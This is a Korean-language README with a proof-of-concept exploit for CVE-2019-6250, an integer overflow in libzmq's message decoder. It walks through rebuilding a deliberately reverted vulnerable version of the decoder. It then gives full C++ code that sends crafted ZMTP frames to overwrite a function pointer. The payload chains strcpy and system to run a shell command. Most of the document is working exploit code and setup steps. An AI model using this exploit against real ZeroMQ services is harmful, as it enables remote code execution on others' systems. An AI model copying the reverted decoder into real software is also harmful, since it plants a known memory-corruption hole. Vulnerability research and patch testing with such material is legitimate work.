
CVE-2019-6250에 대한 개념 증명 익스플로잇으로, ZeroMQ의 libzmq에서 정수 오버플로우를 통해 조작된 메시지로 임의 코드 실행을 유발함을 보여줍니다.
ZeroMQ(ZMQ)는 고성능 비동기 메시징 라이브러리로, 분산 또는 병렬 컴퓨팅 환경을 위해 효율적이고 유연한 메시지 전달 메커니즘을 제공합니다. ZeroMQ는 다양한 메시징 패턴(예: 요청-응답, 발행-구독, 푸시-풀, 프록시 등)을 제공하며, 여러 전송 프로토콜(TCP, IPC, PGM 등)을 지원합니다. ZeroMQ의 설계 목표는 네트워크 프로그래밍을 단순화하고 효율적인 메시지 큐를 제공하여 성능을 향상시키는 것입니다.
libzmq는 ZeroMQ의 핵심 구현 라이브러리로, 일반적으로 ZeroMQ 라이브러리의 C 언어 구현을 의미합니다. 이는 ZeroMQ 기능의 구체적인 구현으로, 여러 프로그래밍 언어에 기본 지원을 제공합니다. libzmq는 모든 ZeroMQ 핵심 기능을 제공하며 다양한 언어 바인딩과 함께 사용될 수 있습니다.
libzmq 라이브러리 다운로드
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
저자는 이 취약점을 이미 수정했습니다. src/v2_decoder.cpp로 이동하여 함수 zmq::v2_decoder_t::size_ready의 내용을 다음 코드로 수정하여 취약점을 재현합니다:
int zmq::v2_decoder_t::size_ready (uint64_t msg_size_,unsigned char const *read_pos_)
{
int rc = _in_progress.close ();
assert (rc == 0);
// the current message can exceed the current buffer. We have to copy the buffer
// data into a new message and complete it in the next receive.
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
// a new message has started, but the size would exceed the pre-allocated arena
// this happens every time when a message does not fit completely into the buffer
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
// construct message using n bytes from the buffer as storage
// increase buffer ref count
// if the message will be a large message, pass a valid refcnt memory location as well
rc =
_in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// For small messages, data has been copied and refcount does not have to be increased
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}
if (unlikely (rc)) {
errno_assert (errno == ENOMEM);
rc = _in_progress.init ();
errno_assert (rc == 0);
errno = ENOMEM;
return -1;
}
_in_progress.set_flags (_msg_flags);
// this sets read_pos to
// the message data address if the data needs to be copied
// for small message / messages exceeding the current buffer
// or
// to the current start address in the buffer because the message
// was constructed to use n bytes from the address passed as argument
next_step (_in_progress.data (), _in_progress.size (),
&v2_decoder_t::message_ready);
return 0;
}
libzmq 라이브러리 설치
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install
cppzmq 다운로드 및 설치
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install
/demo/main.cpp를 이 저장소의 main.cpp로 교체합니다.
main.cpp 컴파일
cd demo
mkdir build
cd build
cmake ..
make
./demo
Libzmq/src/v2_decoder.cpp의 다음 내용에 정수 오버플로우가 존재합니다. msg_size_ 값이 매우 클 때, read_pos+msg_size_는 오히려 매우 작은 수가 되어 if 조건이 false가 되고 프로그램이 메시지 크기를 초기화하지 않습니다. if (unlikely (!zero_copy || ((unsigned char *) read_pos + msg_size_ > (allocator.data () + allocator.size ())))) {
따라서 쓰여진 메시지로 버퍼 뒤의 메모리를 덮어쓸 수 있습니다. 버퍼 뒤의 메모리는 구조체 content_t이며, 여기에는 함수 포인터 ffn과 함수 인자 data 및 hint가 포함됩니다. 67 struct content_t 68 { 69 void *data; 70 size_t size; 71 msg_free_fn *ffn; 72 void *hint; 73 zmq::atomic_counter_t refcnt; 74 };
전달되는 메시지를 제어하여 위의 함수 포인터와 인자를 특정 함수 및 그 인자로 덮어씀으로써 공격을 수행할 수 있습니다.
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>
class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");
while (true) {
zmq::message_t request;
// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};
static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);
if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
{
abort();
}
const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);
uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));
/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);
close(s);
sleep(1);
}
char destbuffer[100];
char srcbuffer[100] = "ping google.com";
int main(void)
{
Thread* rt = new Thread();
sleep(1);
callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);
callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);
return 0;
}